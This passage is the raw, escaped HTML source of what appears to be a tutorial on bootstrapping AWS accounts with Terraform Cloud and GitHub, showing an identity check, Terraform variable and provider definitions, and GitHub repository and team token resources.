grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-caller-identity\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand you should get a result similar to:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"json\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"json\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"UserId\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"777777777777\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Account\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e \"Arn\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"arn:aws:iam::888888888888:root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eBootstrap\u003c/h2\u003e\n\u003cp\u003eBefore you can manage any of your accounts through Terraform Cloud you will need to\nbootstrap some core infrastructure like OIDC so Terraform Cloud can authenticate\nsecurely and manage AWS Resources on your behalf.\u003c/p\u003e\n\u003cp\u003eI personally prefer doing this in two repositories:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003einfra-bootstrap\u003c/code\u003e: This repository does the bare minimum to hook up terraform\ncloud with your AWS account and stores the state in git. It is the only infra\nthat will not be controlled by your CI/CD pipeline.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003einfra\u003c/code\u003e: The actual repository where all the rest of your AWS resources are\nmanaged. It will store state in Terraform Cloud and you can introduce a\nCI/CD pipeline for approving changes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote\u003c/strong\u003e: This repository will be generated with the terraform code.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAfter manually creating the git repository \u003ccode\u003einfra-bootstrap\u003c/code\u003e in your Github\naccount We will need 3 providers to bootstrap the account \u003ccode\u003eaws\u003c/code\u003e, \u003ccode\u003egithub\u003c/code\u003e, and\n\u003ccode\u003etfe\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003eVariables\u003c/h3\u003e\n\u003cp\u003eCreate a \u003ccode\u003e1-variables.tf\u003c/code\u003e where we can define the variables we will need\nfor creating these resources.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_aws_audience\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e default\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"aws.workload.identity\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The audience value to use in run identity tokens\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_hostname\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e default\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"app.terraform.io\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The hostname of the TFC or TFE instance you'd like to use with AWS\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_project_name\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e default\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Default Project\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The project under which a workspace will be created\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_organization_name\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The name of your Terraform Cloud organization\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_organization_owner\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The owner of the TFC organization\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_workspaces\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003estring\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The list of TFC workspaces\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_organization\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The organization the repositories are owned by\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_repo_name\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The name of the git repository we'll create for managing infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_default_branch\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The default branch to utilize\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e default\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"main\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_root_account_id\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The AWS root account we want to apply these changes to\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe will use these variables in the later modules but they are mostly metadata\naround the terraform and github accounts you will need to setup manually.\u003c/p\u003e\n\u003ch3\u003eProviders\u003c/h3\u003e\n\u003cp\u003eCreate a file called \u003ccode\u003e2-providers.tf\u003c/code\u003e and define the providers:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e required_providers\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"hashicorp/tfe\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"0.41.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"hashicorp/aws\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"4.58.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e github\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"integrations/github\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"5.18.3\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e region\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"us-east-1\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # Root account, all other accounts should be provisioned\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # via pull requests\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e allowed_account_ids\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eaws_root_account_id]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e owner\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_organization\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe key things there are we define \u003ccode\u003eallowed_account_ids\u003c/code\u003e to prevent us from\nworking against any account that is not the root and we are using one of the\nvariables we defines earlier.\u003c/p\u003e\n\u003ch3\u003eGithub\u003c/h3\u003e\n\u003cp\u003eWe will utilize \u003ccode\u003eterraform\u003c/code\u003e to create the second git repository where the rest\nof the infrastructure will go. Create a file called \u003ccode\u003e3-github.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_repository\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"repo\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_repo_name\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Infrastructure Repository\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e visibility\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"private\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e auto_init\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e has_issues\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_branch_default\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"default\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e github_repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e branch\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_default_branch\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_team\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"owners\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"owners\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_team_token\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_actions_token\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e team_id\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfe_team\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eowners\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 